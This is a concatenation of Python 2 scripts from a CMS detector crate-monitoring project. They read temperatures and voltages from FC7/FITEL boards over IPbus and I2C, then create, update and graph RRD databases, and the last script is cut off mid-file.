status = ["OK", "WARNING", "CRITICAL", "UNKNOWN"]
if EXITCODE.getCode() == 0:
print "Sensor values {0} | {1} {2} {3} {4} {5} {6}".format(status[EXITCODE.getCode()], PM1.output, PM4.output, CU1.output, CU2.output, MCH.output, amc13.output)
else:
print "Sensor values {0}, Message: {1} | {2} {3} {4} {5} {6} {7}".format(status[EXITCODE.getCode()], EXITCODE.getMsg(), PM1.output, PM4.output, CU1.output, CU2.output, MCH.output, amc13.output)
MCH.printSensorValues()
PM1.printSensorValues()
PM4.printSensorValues()
CU1.printSensorValues()
CU2.printSensorValues()
amc13.printSensorValues()
# Exit with appropriate exit code
sys.exit(EXITCODE.getCode())
<file_sep>#!/usr/bin/env python
# Author: <NAME> (IPHC Strasbourg)
# PixFED project - CMS Upgrade Ph.1
# Edited by <NAME> (CERN) for crate monitoring purposes
#========================================================
# This script will return T_INT, V1, V2, V3, V4 and VCC
# from the FITEL FED FMC.
# Run as [you] $ python getFmcData.py hostname
# =======================================================
from time import sleep
from struct import *
import sys; sys.path.append('/home/xtaldaq/PyChips') #To set PYTHONPATH to the PyChips installation src folder
from time import *
import uhal
import datetime
import os
import socket
import pdb
from rrdtool import update as rrd_update
import subprocess
# -*- coding: cp1252 -*-
# Import the PyChips code - PYTHONPATH must be set to the PyChips installation src folder!
from PyChipsUser import *
#t = time() #for timing
def errorMessage(errorMsg):
f = open('/home/xtaldaq/cratemonitor_v3/logs/fmcErrorLog.log', 'a')
now = datetime.datetime.now() #Time of event
f.write(now.strftime("%Y-%b-%d %H:%M:%S") + ':' ' {0}\n'.format(errorMsg))
f.close()
def fmcPresent(hostname):
#A function to check if the FMC is present
uhal.setLogLevelTo( uhal.LogLevel.ERROR)
manager = uhal.ConnectionManager("file:///home/xtaldaq/cratemonitor_v3/FEDconnection.xml")
fed = manager.getDevice(hostname)
device_id = fed.id()
# Read the value back.
# NB: the reg variable below is a uHAL "ValWord", not just a simple integer
fmc_l8_present = fed.getNode("status.fmc_l8_present").read()
# Send IPbus transactions
try:
fed.dispatch()
except:
print "Could not connect to {0}".format(hostname) #There is probably not a FED in the given slot
return False
# Return status
if hex(fmc_l8_present) == '0x1':
return True
else:
#FC7 is present, but not the FED FITEL
errorMessage('FMC not present for {0}'.format(hostname))
return False
def processChecker(keywordList):
#Checks the computer for running processes
#that will cause an inconvenient conflict.
ps = subprocess.Popen(('ps', 'aux'), stdout=subprocess.PIPE)
output = ps.communicate()[0]
for line in output.split('\n'):
for keyword in keywordList:
if keyword in line:
print "Found {0}, initiating self-termination".format(keyword)
errorMessage("Found {0}, initiating self-termination".format(keyword))
sys.exit()
print "Did not find any conflicting processes, carry on"
##################################################################
#For the rrd database
def rack(hostname):
return str.split(hostname, '-')[1]
def crate(hostname):
return str.split(hostname, '-')[2]
def amc(hostname):
return str.split(hostname, '-')[3]
##################################################################
##--=======================================--
##=> IP address
##--=======================================--
# Read in an address table by creating an AddressTable object (Note the forward slashes, not backslashes!)
##################################################################
# To read IP address or host name from command line or ipaddr.dat
##################################################################
args = sys.argv
if len(args) > 1:
ipaddr = args[1]
else:
f = open('/home/xtaldaq/cratemonitor_v3/ipaddr.dat', 'r')
ipaddr = f.readline()
f.close()
hostname = str.lower(ipaddr) #for the rrd database at the bottom of the script
#===========================================
# First, check if the FMC is present. If not,
# stop the script. Also check if FIRMWARE loading
# tools are being used. If so, self-terminate
#===========================================
processList = ['fpgaconfig',
'firmware_jump',
'mmc_interface',
'firmware_list',
'firmware_write']
processChecker(processList)
if not fmcPresent(hostname):
sys.exit()
###################################
fc7AddrTable = AddressTable('/home/xtaldaq/cratemonitor_v3/fc7AddrTable.dat')
#f = open('./ipaddr.dat', 'r')
#ipaddr = f.readline()
#f.close()
fc7 = ChipsBusUdp(fc7AddrTable, ipaddr, 50001)
print
print "--=======================================--"
print " Opening FC7 with IP", ipaddr
print "--=======================================--"
##--=======================================--
#************************************************************************#
#----> INIT AT STARTUP
#************************************************************************#
#fc7.write("PC_config_ok",0)
#i2c controller reset + fifo TX & RX reset
fc7.write("fitel_i2c_cmd_reset",1) #1: EN
sleep(0.200)
fc7.write("fitel_i2c_cmd_reset",0) #0: DIS
#
fc7.write("fitel_rx_i2c_req",0) #0: DIS
fc7.write("fitel_sfp_i2c_req",0) #0: DIS
#************************************************************************#
#----> CONSTANTS
#************************************************************************#
# general
i2c_cmd_rd = 3
i2c_cmd_wr = 1
# LTC2990: see the datasheet
single = 1
repeat = 0
measureNb = 6 #T_INT, V1, V2, V3, V4 and VCC
regNb = 2*measureNb # by device / 2 reg necessary for each measure
trig = 0x01
acq = single
ctrl = (acq<<6)+0x1f # mode V1,V2,V3,V4 voltage measurements
dataFormat = 15 # format: 15-bit signed. This is for the voltage measurements. The temperature word is 13-bit unsigned.
fullScale = 2**(dataFormat)
#**********************************************************************************************************************************************#
#----> USER CHOICES !!!!!
#**********************************************************************************************************************************************#
#=>DEVICE ACCESS SELECTED BY THE USER
#with this order => (FMCL8_FRR1, FMCL8_FRR2, FMCL12_FRR1, FMCL12_FRR2)
FITEL_ACCESS = (1,1,0,0)
#=>Computing of the number of devices
FITEL_DEVICE_NB_MAX = 4
FITEL_DEVICE_NB = 0
for i in range(0, 4):
FITEL_DEVICE_NB = FITEL_DEVICE_NB + FITEL_ACCESS[i]
print "-> FITEL_DEVICE_NB =", FITEL_DEVICE_NB
#**********************************************************************************************************************************************#
#----> END USER CHOICES !!!!!
#**********************************************************************************************************************************************#
#**********************************************************************************************************************************************#
#----> START FIRST ACCESS
#**********************************************************************************************************************************************#
print "-> Start First Access"
#************************************************************************#
#----> VECTORS DECLARATION FOR THE I2C TRANSACTIONS
#************************************************************************#
regAddr = range(regNb*FITEL_DEVICE_NB)
wrData = range(regNb*FITEL_DEVICE_NB)
fmcSel = range(regNb*FITEL_DEVICE_NB)
fitelSel = range(regNb*FITEL_DEVICE_NB)
#************************************************************************#
#----> VECTORS INIT FOR THE I2C TRANSACTIONS
#************************************************************************#
index = 0
for i in range(0, 4):
if FITEL_ACCESS[i] == 1:
regAddr[index] = 0x01
wrData[index] = ctrl
regAddr[index+1] = 0x02
wrData[index+1] = trig
if i == 0:
fmcSel[index] = 0
fitelSel[index] = 0
fmcSel[index+1] = 0
fitelSel[index+1] = 0
elif i == 1:
fmcSel[index] = 0
fitelSel[index] = 1
fmcSel[index+1] = 0
fitelSel[index+1] = 1
elif i == 2:
fmcSel[index] = 1
fitelSel[index] = 0
fmcSel[index+1] = 1
fitelSel[index+1] = 0
elif i == 3:
fmcSel[index] = 1
fitelSel[index] = 1
fmcSel[index+1] = 1
fitelSel[index+1] = 1
index = index + 2
#************************************************************************#
#----> CHECKING / I2C Transactions
#************************************************************************#
disp = 1
if disp == 1:
print "-> Checking:"
print "--------------------------------------------------------------------------------"
for j in range (index):
print "fmcSel =",fmcSel[j],"fitelSel =",fitelSel[j],"\t|\t","regAddr =",hex(regAddr[j]),"\t|\t","wrData =",hex(wrData[j])
print "--------------------------------------------------------------------------------"
#************************************************************************#
#----> Fill-in of FIFO TX
#************************************************************************#
i2cWordNb = index #FITEL_DEVICE_NB * 2
wrBuffer = []
for i in range(0, i2cWordNb):
wrBuffer.append(fmcSel[i]<<24 | fitelSel[i]<<20 | regAddr[i]<<8 | wrData[i])
print hex(wrBuffer[i])
fc7.fifoWrite("fitel_config_fifo_tx", wrBuffer, 0)
print "->",i2cWordNb,"words to write to FIFO TX..."
#************************************************************************#
#----> I2C CMD
#************************************************************************#
#fc7.write("fitel_i2c_addr",0x77) # Global Sync Address
fc7.write("fitel_i2c_addr",0x4c)
#print "fitel_i2c_addr = ",bin(fc7.read("fitel_i2c_addr"))
sleep(0.010)
fc7.write("fitel_rx_i2c_req", i2c_cmd_wr) # see higher
#************************************************************************#
#----> ACK
#************************************************************************#
while fc7.read("fitel_i2c_ack") == 0:
## print "fitel_rx_i2c_req = ",bin(fc7.read("fitel_rx_i2c_req"))
## print "fitel_i2c_ack = ",bin(fc7.read("fitel_i2c_ack"))
sleep(0.010)
if fc7.read("fitel_i2c_ack") == 0b01:
print "-> i2c ok and ADC in acquisition"
elif fc7.read("fitel_i2c_ack") == 0b11:
print "-> i2c ko"
#************************************************************************#
#----> RELEASE - HANDSHAKING WITH F/W
#************************************************************************#
fc7.write("fitel_rx_i2c_req", 0) #cmd : 0=no / 1=rd / 3=wr
while fc7.read("fitel_i2c_ack") != 0:
sleep(0.010)
print "-> fitel_i2c_ack:", glib.read("fitel_i2c_ack")
#************************************************************************#
#----> SLEEP
#************************************************************************#
print "sleep"
#fc7.write("fitel_i2c_cmd_reset",1) #1: EN
sleep(1.0)
#fc7.write("fitel_i2c_cmd_reset",0) #0: DIS
print "-> End First Access"
#**********************************************************************************************************************************************#
#----> END FIRST ACCESS
#**********************************************************************************************************************************************#
#
#
#
#
#**********************************************************************************************************************************************#
#----> START SECOND ACCESS
#**********************************************************************************************************************************************#
print
print
print "-> Start Second Access"
#TEST
## regAddr[index+0] = 0x06
## regAddr[index+1] = 0x07
## regAddr[index+2] = 0x08
## regAddr[index+3] = 0x09
## regAddr[index+4] = 0x0a
## regAddr[index+5] = 0x0b
## regAddr[index+6] = 0x0c
## regAddr[index+7] = 0x0d
## regAddr[index+8] = 0x0e
## regAddr[index+9] = 0x0e
#************************************************************************#
#----> VECTORS INIT FOR THE I2C TRANSACTIONS
#************************************************************************#
index = 0
for i in range(0, 4):
if FITEL_ACCESS[i] == 1:
for j in range(regNb):
wrData[index+j] = 0
regAddr[index+j] = 0x04 + j #from @0x04: see datasheet
if i == 0:
fmcSel[index+j] = 0
fitelSel[index+j] = 0
elif i == 1:
fmcSel[index+j] = 0
fitelSel[index+j] = 1
elif i == 2:
fmcSel[index+j] = 1
fitelSel[index+j] = 0
elif i == 3:
fmcSel[index+j] = 1
fitelSel[index+j] = 1
index = index + regNb
#************************************************************************#
#----> CHECKING / I2C Transactions
#************************************************************************#
disp2 = 1
if disp2 == 1:
print "-> Checking:"
print "--------------------------------------------------------------------------------"
for j in range (index):
print "fmcSel =",fmcSel[j],"fitelSel =",fitelSel[j],"\t|\t","regAddr =",hex(regAddr[j]),"\t|\t","wrData =",hex(wrData[j])
print "--------------------------------------------------------------------------------"
#************************************************************************#
#----> Fill-in of FIFO TX
#************************************************************************#
i2cWordNb = index
wrBuffer2 = []
for i in range(0, i2cWordNb):
wrBuffer2.append(fmcSel[i]<<24 | fitelSel[i]<<20 | regAddr[i]<<8 | 0)
fc7.fifoWrite("fitel_config_fifo_tx", wrBuffer2, 0)
print "->",i2cWordNb,"words to write to FIFO TX..."
##for i in range(0, i2cWordNb):
## print hex(wrBuffer2[i])
## #print regAddr[i]
#************************************************************************#
#----> I2C CMD
#************************************************************************#
fc7.write("fitel_i2c_addr",0x4c)
#print "fitel_i2c_addr = ",bin(fc7.read("fitel_i2c_addr"))
sleep(0.010)
fc7.write("fitel_rx_i2c_req", i2c_cmd_rd) # see higher
#************************************************************************#
#----> ACK
#************************************************************************#
while fc7.read("fitel_i2c_ack") == 0: #do not suppress else error
sleep(0.010)
if fc7.read("fitel_i2c_ack") == 0b01:
print "-> i2c ok and reading done"
elif fc7.read("fitel_i2c_ack") == 0b11:
print "-> i2c ko"
#************************************************************************#
#----> RELEASE - HANDSHAKING WITH F/W
#************************************************************************#
fc7.write("fitel_rx_i2c_req", 0) #cmd : 0=no / 1=rd / 3=wr
while fc7.read("fitel_i2c_ack") != 0:
sleep(0.010)
print "-> fitel_i2c_ack:", fc7.read("fitel_i2c_ack")
#************************************************************************#
#----> Readout of FIFO RX
#************************************************************************#
print "->",i2cWordNb," words to read from FIFO_RX..."
rdBuffer = []
rdBuffer = fc7.fifoRead("fitel_config_fifo_rx", i2cWordNb, 0)
##for i in range (0, i2cWordNb): #to check the moment where the RX FIFO is empty
## print "-> fitel_config_fifo_rx_empty:", fc7.read("fitel_config_fifo_rx_empty")
## toto = fc7.read("fitel_config_fifo_rx")
## print "-> fitel_config_fifo_rx_empty:", fc7.read("fitel_config_fifo_rx_empty")
#************************************************************************#
#----> CHECKING / CONTENTS FROM FIFO RX
#************************************************************************#
disp = 1
if disp == 1:
print "-> Checking:"
for i in range (0, i2cWordNb):
#rdBuffer[i] = rdBuffer[i] & 0xff
print "->", hex(rdBuffer[i])
print "--------------------"
#************************************************************************#
#----> Mask on rdBuffer - Keep only the reg data byte = LSB
#************************************************************************#
for i in range (0, i2cWordNb):
rdBuffer[i] = rdBuffer[i] & 0xff
#************************************************************************#
#----> Measurement Computing
#************************************************************************#
#####test
##rdBuffer[0] = 0xaa
##rdBuffer[1] = 0x50
##rdBuffer[2] = 0xaa
##rdBuffer[3] = 0x52
##rdBuffer[4] = 0xaa
##rdBuffer[5] = 0x54
##rdBuffer[6] = 0xaa
##rdBuffer[7] = 0x56
##rdBuffer[8] = 0xaa
##rdBuffer[9] = 0x58
##rdBuffer[10] = 0xaa
##rdBuffer[11] = 0x5a
##rdBuffer[12] = 0xaa
##rdBuffer[13] = 0x5c
##rdBuffer[14] = 0xaa
##rdBuffer[15] = 0x5e
####rdBuffer[16] = 0xac # see datasheet p17/24: 0b1010_1100_1100_1101 = 0xac_cd => 3,5V
####rdBuffer[17] = 0xcd
##rdBuffer[16] = 0xfc # see datasheet p17/24: 0b1111_1100_0010_1001 = 0xfc_29 => -0.3V
##rdBuffer[17] = 0x29
##rdBuffer[18] = 0x82 # see datasheet p17/24 for VCC: 0b1000_0010_1000_1111 = 0x82_8f => 2.7V
##rdBuffer[19] = 0x8f
###RdBuffer = [255]*regNb
# lst=[[0]*col]*ln
LTC2990 = [[0.0]*measureNb]*4 #FITEL_DEVICE_NB_MAX = 4
T_INT = []
V1 = []
V2 = []
V3 = []
V4 = []
VCC = []
index = 0
for i in range(0, 4):
if FITEL_ACCESS[i] == 1:
if i==0:
print "-> Measurement for ADC from Fitel FMCL8_FRR1"
FRR1 = True
FRR2 = False
elif i==1:
print "-> Measurement for ADC from Fitel FMCL8_FRR2"
FRR2 = True
FRR1 = False
elif i==2:
print "-> Measurement for ADC from Fitel FMCL12_FRR1"
FRR1 = True
FRR2 = False
elif i==3:
print "-> Measurement for ADC from Fitel FMCL12_FRR2"
FRR2 = True
FRR1 = False
for j in range(measureNb):
###################################################################################
#Debugging
debugBits = 'U'
fatalErrorReported = False #To avoid double reporting that something is very wrong
if j == 0: #for temp
debugBits = rdBuffer[index + 2*j] << 5 # show bit 7, 6 and 5 of MSB. See documentation
try:
print('DV, SS, SO: ' + bin(debugBits)[2] + ', ' + bin(debugBits)[3] + ', ' + bin(debugBits)[4])
except:
if bin(debugBits)=='0b0':
print 'DebugBits = 0b0. Data is invalid.'
if FRR1:
errorMessage('DebugBits = 0b0. Temperature data is invalid for Rx1 on {0}'.format(hostname))
elif FRR2:
errorMessage('DebugBits = 0b0. Temperature data is invalid for Rx2 on {0}'.format(hostname))
fatalErrorReported = True
else: #for voltages
debugBits = rdBuffer[index + 2*j] >> 6 # show bit 7 and 6 of MSB. See documentation
try:
print('DV, Sign: ' + bin(debugBits)[2] + ', ' + bin(debugBits)[3])
except:
if bin(debugBits)=='0b0':
print 'DebugBits = 0b0. Data is invalid.'
if FRR1:
errorMessage('DebugBits = 0b0. Voltage data is invalid for Rx1 on {0}'.format(hostname))
elif FRR2:
errorMessage('DebugBits = 0b0. Voltage data is invalid for Rx2 on {0}'.format(hostname))
fatalErrorReported = True
###################################################################################
###################################################################################
if j == 0:
dataValid = 'U'
try:
dataValid = bin(rdBuffer[index + 2*j] << 5)[2]
sensorShort = bin(debugBits)[3]
sensorOpen = bin(debugBits)[4]
except:
pass
data = (((rdBuffer[index+2*j] & 0x1f) << 8) + rdBuffer[index+2*j+1]) #generates the unisgned 13-bit word for T_INT
if (int(dataValid) == 1) and (int(sensorShort) == 0) and (int(sensorOpen) == 0): #Updates database only if data is valid.
T_INT.append(float(data)/16) # [Fitel 1 RX 1, Fitel 1 RX 2, Fitel 2 RX1, Fitel 2 RX2, ...]
else:
T_INT.append('U') #Give database an unkown value
try:
if FRR1:
errorMessage('DV, SS, SO: {0}, {1}, {2} for Rx1 on {3}'.format(bin(debugBits)[2], bin(debugBits)[3], bin(debugBits)[4], hostname))
elif FRR2:
errorMessage('DV, SS, SO: {0}, {1}, {2} for Rx2 on {3}'.format(bin(debugBits)[2], bin(debugBits)[3], bin(debugBits)[4], hostname))
except:
if not fatalErrorReported:
print 'Something is very wrong!'
errorMessage('Something is very wrong!')
else:
pass
else:
dataValid = '-1'
try:
dataValid = bin(rdBuffer[index + 2*j] >> 6)[2]
except:
print 'something is very wrong'
pass
data = (((rdBuffer[index+2*j] & 0x7f) << 8) + rdBuffer[index+2*j+1]) # generates the signed 15-bit word
sign = data >> 14 #bit(14)
if int(dataValid) == 1:
if j == 1:
if sign == 0b1:
V1.append(-(fullScale - data) * 0.00030518)
else:
V1.append(data * 0.00030518)
elif j == 2:
if sign == 0b1:
V2.append(-(fullScale - data) * 0.00030518)
else:
V2.append(data * 0.00030518)
elif j == 3:
if sign == 0b1:
V3.append(-(fullScale - data) * 0.00030518)
else:
V3.append(data * 0.00030518)
elif j == 4:
if sign == 0b1:
V4.append(-(fullScale - data) * 0.00030518)
else:
V4.append(data * 0.00030518)
elif j == 5:
if sign == 0b1:
VCC.append(-(fullScale - data) * 0.00030518 + 2.5)
else:
VCC.append(data * 0.00030518 + 2.5)
else:
V1.append('U'); V2.append('U'); V3.append('U'); V4.append('U'); VCC.append('U')
try:
if FRR1:
errorMessage('DV, Sign: {0}, {1} for Rx1 on {2}'.format(bin(debugBits)[2], bin(debugBits)[3], hostname))
elif FRR2:
errorMessage('DV, Sign: {0}, {1} for Rx2 on {2}'.format(bin(debugBits)[2], bin(debugBits)[3], hostname))
except:
if not fatalErrorReported:
errorMessage('Something is very wrong!')
else:
pass
#data2sComp = fullScale - data # 2's complement of data
###################################################################################
if j == 0: #For T_INT
LTC2990[i][j] = float(data)/16
elif j == 5: #for V5: VCC
if sign == 0b1:
LTC2990[i][j] = -(fullScale - data) * 0.00030518 + 2.5
else:
LTC2990[i][j] = data * 0.00030518 + 2.5
else: #for the rest of the voltages
if sign == 0b1:
LTC2990[i][j] = -(fullScale - data) * 0.00030518
else:
LTC2990[i][j] = data * 0.00030518
#
#print "-> V[",j+1,"] = %.4fV" % (LTC2990[i][j])
if j==0:
print "1)\tT_INT(degC) = %.4fdegC\t\t-> Internal temperature" % (LTC2990[i][j])
elif j==1:
print "2)\tV1(V)\t = %.5fV\t\t-> 3V3" % (LTC2990[i][j])
elif j==2:
print "3)\tV2(V)\t = %.5fV\t\t-> 3V3" % (LTC2990[i][j])
elif j==3:
print "4)\tV3(mV)\t = %.5fmV\t\t-> RSSI" % (LTC2990[i][j]*1000)
print "\tV3(V)\t = %.8fV\t\t-> RSSI" % (LTC2990[i][j])
elif j==4:
print "5)\tV4(V)\t = %.5fV\t\t-> GND" % (LTC2990[i][j])
elif j==5:
print "6)\tV5(V)\t = %.5fV\t\t-> VCC" % (LTC2990[i][j])
## print "unsigned data","\tin hex =", hex(data), "\tin dec =",data
## print "__signed data","\tin hex =", hex(data), "\tin dec =",fullScale-data
## print "sign =", sign
index = index + 2*measureNb
#**********************************************************************************************************************************************#
#----> END SECOND ACCESS
#**********************************************************************************************************************************************#
#ret = rrd_update('/home/xtaldaq/python_scripts/fmcmonitor/{0}.rrd'.format(ipaddr), 'N:{0[0]}:{0[1]}:{1[0]}:{1[1]}:{2[0]}:{3[0]}:{3[1]}:{4[0]}:{4[1]}:{5[0]}:{5[1]}'.format(T_INT, V1, V2, V3, V4, VCC))
#one database for each AMC. Database format = [RX1TEMP, RX2TEMP, RX1V1, RX2V1, ... ]
rack = rack(hostname)
crate = crate(hostname)
amc = amc(hostname)
ret = rrd_update('/home/xtaldaq/cratemonitor_v3/rrd/amc-{0}-{1}-{2}.rrd'.format(rack, crate, amc), 'N:{0[0]}:{0[1]}:{1[0]}:{1[1]}:{2[0]}:{2[1]}:{3[0]}:{3[1]}\
:{4[0]}:{4[1]}:{5[0]}:{5[1]}'.format(T_INT, V1, V2, V3, V4, VCC))
print
print
print "-> End"
#elapsed = time() - t
#print(elapsed)
<file_sep>#!/usr/bin/env python
###############################################################################
import os
import socket
import sys
import pdb
import rrdtool
###############################################################################
if __name__ == "__main__":
# for crate in ['s1e02-27','s1e02-18','s1e02-10','s1e03-36','s1e03-27','s1e03-18']:
for rack in ['s1g01', 's1g03', 's1g04']:
print rack
for crate in ['18', '27', '36', '45']:
# 1,440 samples of 1 minute (24 hours)
# 720 samples of 30 mins (24 hrs + 14 days = 15 days)
# 780 samples of 2 hours (15 + 50 days = 65 days)
# 800 samples of 1 day (65 days plus 2 yrs rounded to 800)
print crate
#for the MCH database
ret1 = rrdtool.create('/home/xtaldaq/cratemonitor_v3/rrd/mch-{0}-{1}.rrd'.format(rack, crate),
"-s 60",
"DS:AMC1temp:GAUGE:120:U:U",
"DS:AMC2temp:GAUGE:120:U:U",
"DS:AMC3temp:GAUGE:120:U:U",
"DS:AMC4temp:GAUGE:120:U:U",
"DS:AMC5temp:GAUGE:120:U:U",
"DS:AMC6temp:GAUGE:120:U:U",
"DS:AMC7temp:GAUGE:120:U:U",
"DS:AMC8temp:GAUGE:120:U:U",
"DS:AMC9temp:GAUGE:120:U:U",
"DS:AMC10temp:GAUGE:120:U:U",
"DS:AMC11temp:GAUGE:120:U:U",
"DS:AMC12temp:GAUGE:120:U:U",
"DS:AMC13temp:GAUGE:120:U:U",
"DS:CU1temp:GAUGE:120:U:U",
"DS:CU2temp:GAUGE:120:U:U",
"DS:PM1temp:GAUGE:120:U:U",
"DS:PM2temp:GAUGE:120:U:U",
"DS:AMC1curr1V0:GAUGE:120:U:U",
"DS:AMC2curr1V0:GAUGE:120:U:U",
"DS:AMC3curr1V0:GAUGE:120:U:U",
"DS:AMC4curr1V0:GAUGE:120:U:U",
"DS:AMC5curr1V0:GAUGE:120:U:U",
"DS:AMC6curr1V0:GAUGE:120:U:U",
"DS:AMC7curr1V0:GAUGE:120:U:U",
"DS:AMC8curr1V0:GAUGE:120:U:U",
"DS:AMC9curr1V0:GAUGE:120:U:U",
"DS:AMC10curr1V0:GAUGE:120:U:U",
"DS:AMC11curr1V0:GAUGE:120:U:U",
"DS:AMC12curr1V0:GAUGE:120:U:U",
"DS:AMC1curr12V0:GAUGE:120:U:U",
"DS:AMC2curr12V0:GAUGE:120:U:U",
"DS:AMC3curr12V0:GAUGE:120:U:U",
"DS:AMC4curr12V0:GAUGE:120:U:U",
"DS:AMC5curr12V0:GAUGE:120:U:U",
"DS:AMC6curr12V0:GAUGE:120:U:U",
"DS:AMC7curr12V0:GAUGE:120:U:U",
"DS:AMC8curr12V0:GAUGE:120:U:U",
"DS:AMC9curr12V0:GAUGE:120:U:U",
"DS:AMC10curr12V0:GAUGE:120:U:U",
"DS:AMC11curr12V0:GAUGE:120:U:U",
"DS:AMC12curr12V0:GAUGE:120:U:U",
"DS:PM1VoutA:GAUGE:120:U:U",
"DS:PM2VoutA:GAUGE:120:U:U",
"DS:PM1VoutB:GAUGE:120:U:U",
"DS:PM2VoutB:GAUGE:120:U:U",
"DS:PM1sumCurr:GAUGE:120:U:U",
"DS:PM2sumCurr:GAUGE:120:U:U",
"RRA:AVERAGE:0.5:1:1440",
"RRA:AVERAGE:0.5:30:720",
"RRA:AVERAGE:0.5:120:780",
"RRA:AVERAGE:0.5:1440:800",
#"RRA:MAX:0.5:1:1440",
"RRA:MAX:0.5:30:720",
"RRA:MAX:0.5:120:780",
"RRA:MAX:0.5:1440:800",
#"RRA:MIN:0.5:1:1440",
"RRA:MIN:0.5:30:720",
"RRA:MIN:0.5:120:780",
"RRA:MIN:0.5:1440:800")
<file_sep>#!/usr/bin/env python
import os
import socket
import sys
import pdb
import rrdtool
if __name__ == "__main__":
filepath = '/home/xtaldaq/cratemonitor_v3/'
hostname = 'acdc-s1g04-27'
for rack in ['s1g01', 's1g03', 's1g04']:
for sched in ['daily' , 'weekly', 'monthly']:
if sched == 'weekly':
period = 'w'
elif sched == 'daily':
period = 'd'
elif sched == 'monthly':
period = 'm'
ret = rrdtool.graph( "{0}png/acdc-{1}-27-{2}-temperature.png".format(filepath,rack,period),
"--start", "-1{0}".format(period),
"--vertical-label=Rectifier Temperature (degC)",
"-w 400", "-h 240",
#"--slope-mode",
"-t {0}".format(str.upper(hostname)),
"DEF:t1={0}rrd/acdc-{1}-27.rrd:temperature1:AVERAGE".format(filepath, rack),
"DEF:t2={0}rrd/acdc-{1}-27.rrd:temperature2:AVERAGE".format(filepath, rack),
"DEF:t3={0}rrd/acdc-{1}-27.rrd:temperature3:AVERAGE".format(filepath, rack),
"DEF:t4={0}rrd/acdc-{1}-27.rrd:temperature4:AVERAGE".format(filepath, rack),
"LINE:t1#000000:Module 1",
"LINE:t2#FF0000:Module 2",
"LINE:t3#FF6600:Module 3",
"LINE:t4#FFFF00:Module 4")
ret = rrdtool.graph( "{0}png/acdc-{1}-27-{2}-outVolt.png".format(filepath,rack,period),
"--start", "-1{0}".format(period),
"--vertical-label=Rectifier Output Voltage (V)",
"-w 400", "-h 240",
#"--slope-mode",
"-t {0}".format(str.upper(rack)),
"DEF:t1={0}rrd/acdc-{1}-27.rrd:outputVoltage1:AVERAGE".format(filepath, rack),
"DEF:t2={0}rrd/acdc-{1}-27.rrd:outputVoltage2:AVERAGE".format(filepath, rack),
"DEF:t3={0}rrd/acdc-{1}-27.rrd:outputVoltage3:AVERAGE".format(filepath, rack),
"DEF:t4={0}rrd/acdc-{1}-27.rrd:outputVoltage4:AVERAGE".format(filepath, rack),
"LINE:t1#000000:Module 1",
"LINE:t2#FF0000:Module 2",
"LINE:t3#FF6600:Module 3",
"LINE:t4#FFFF00:Module 4")
ret = rrdtool.graph( "{0}png/acdc-{1}-27-{2}-inVolt.png".format(filepath,rack,period),
"--start", "-1{0}".format(period),
"--vertical-label=Rectifier Input Voltage (V)",
"-w 400", "-h 240",
#"--slope-mode",
"-t {0}".format(str.upper(rack)),
"DEF:t1={0}rrd/acdc-{1}-27.rrd:inputVoltage1:AVERAGE".format(filepath, rack),
"DEF:t2={0}rrd/acdc-{1}-27.rrd:inputVoltage2:AVERAGE".format(filepath, rack),
"DEF:t3={0}rrd/acdc-{1}-27.rrd:inputVoltage3:AVERAGE".format(filepath, rack),
"DEF:t4={0}rrd/acdc-{1}-27.rrd:inputVoltage4:AVERAGE".format(filepath, rack),
"LINE:t1#000000:Module 1",
"LINE:t2#FF0000:Module 2",
"LINE:t3#FF6600:Module 3",
"LINE:t4#FFFF00:Module 4")
ret = rrdtool.graph( "{0}png/acdc-{1}-27-{2}-outCurr.png".format(filepath,rack,period),
"--start", "-1{0}".format(period),
"--vertical-label=Rectifier Output Current (A)",
"-w 400", "-h 240",
#"--slope-mode",
"-t {0}".format(str.upper(rack)),
"DEF:t1={0}rrd/acdc-{1}-27.rrd:outputCurrent1:AVERAGE".format(filepath, rack),
"DEF:t2={0}rrd/acdc-{1}-27.rrd:outputCurrent2:AVERAGE".format(filepath, rack),
"DEF:t3={0}rrd/acdc-{1}-27.rrd:outputCurrent3:AVERAGE".format(filepath, rack),
"DEF:t4={0}rrd/acdc-{1}-27.rrd:outputCurrent4:AVERAGE".format(filepath, rack),
"LINE:t1#000000:Module 1",
"LINE:t2#FF0000:Module 2",
"LINE:t3#FF6600:Module 3",
"LINE:t4#FFFF00:Module 4")
ret = rrdtool.graph( "{0}png/acdc-{1}-27-{2}-phaseVolt.png".format(filepath,rack,period),
"--start", "-1{0}".format(period),
"--vertical-label=AC Phase Voltage (V)",
"-w 400", "-h 240",
#"--slope-mode",
"-t {0}".format(str.upper(rack)),
"DEF:t1={0}rrd/acdc-{1}-27.rrd:acPhase1Voltage:AVERAGE".format(filepath, rack),
"DEF:t2={0}rrd/acdc-{1}-27.rrd:acPhase2Voltage:AVERAGE".format(filepath, rack),
"DEF:t3={0}rrd/acdc-{1}-27.rrd:acPhase3Voltage:AVERAGE".format(filepath, rack),
"LINE:t1#000000:Phase 1",
"LINE:t2#FF0000:Phase 2",
"LINE:t3#FF6600:Phase 3")
<file_sep>#!/usr/bin/env python
import os
import socket
import sys
import pdb
import rrdtool
if __name__ == "__main__":
for rack in 's1g01' 's1g03' 's1g04':
ret = rrdtool.create('/home/xtaldaq/cratemonitor_v3/rrd/acdc-{0}-27.rrd'.format(rack),
"-s 60",
"DS:temperature1:GAUGE:120:U:U",
"DS:temperature2:GAUGE:120:U:U",
"DS:temperature3:GAUGE:120:U:U",
"DS:temperature4:GAUGE:120:U:U",
"DS:outputVoltage1:GAUGE:120:U:U",
"DS:outputVoltage2:GAUGE:120:U:U",
"DS:outputVoltage3:GAUGE:120:U:U",
"DS:outputVoltage4:GAUGE:120:U:U",
"DS:inputVoltage1:GAUGE:120:U:U",
"DS:inputVoltage2:GAUGE:120:U:U",
"DS:inputVoltage3:GAUGE:120:U:U",
"DS:inputVoltage4:GAUGE:120:U:U",
"DS:outputCurrent1:GAUGE:120:U:U",
"DS:outputCurrent2:GAUGE:120:U:U",
"DS:outputCurrent3:GAUGE:120:U:U",
"DS:outputCurrent4:GAUGE:120:U:U",
"DS:acPhase1Voltage:GAUGE:120:U:U",
"DS:acPhase2Voltage:GAUGE:120:U:U",
"DS:acPhase3Voltage:GAUGE:120:U:U",
"RRA:AVERAGE:0.5:1:1440",
"RRA:AVERAGE:0.5:30:720",
"RRA:AVERAGE:0.5:120:780",
"RRA:AVERAGE:0.5:1440:800",
#"RRA:MAX:0.5:1:1440",
"RRA:MAX:0.5:30:720",
"RRA:MAX:0.5:120:780",
"RRA:MAX:0.5:1440:800",
#"RRA:MIN:0.5:1:1440",
"RRA:MIN:0.5:30:720",
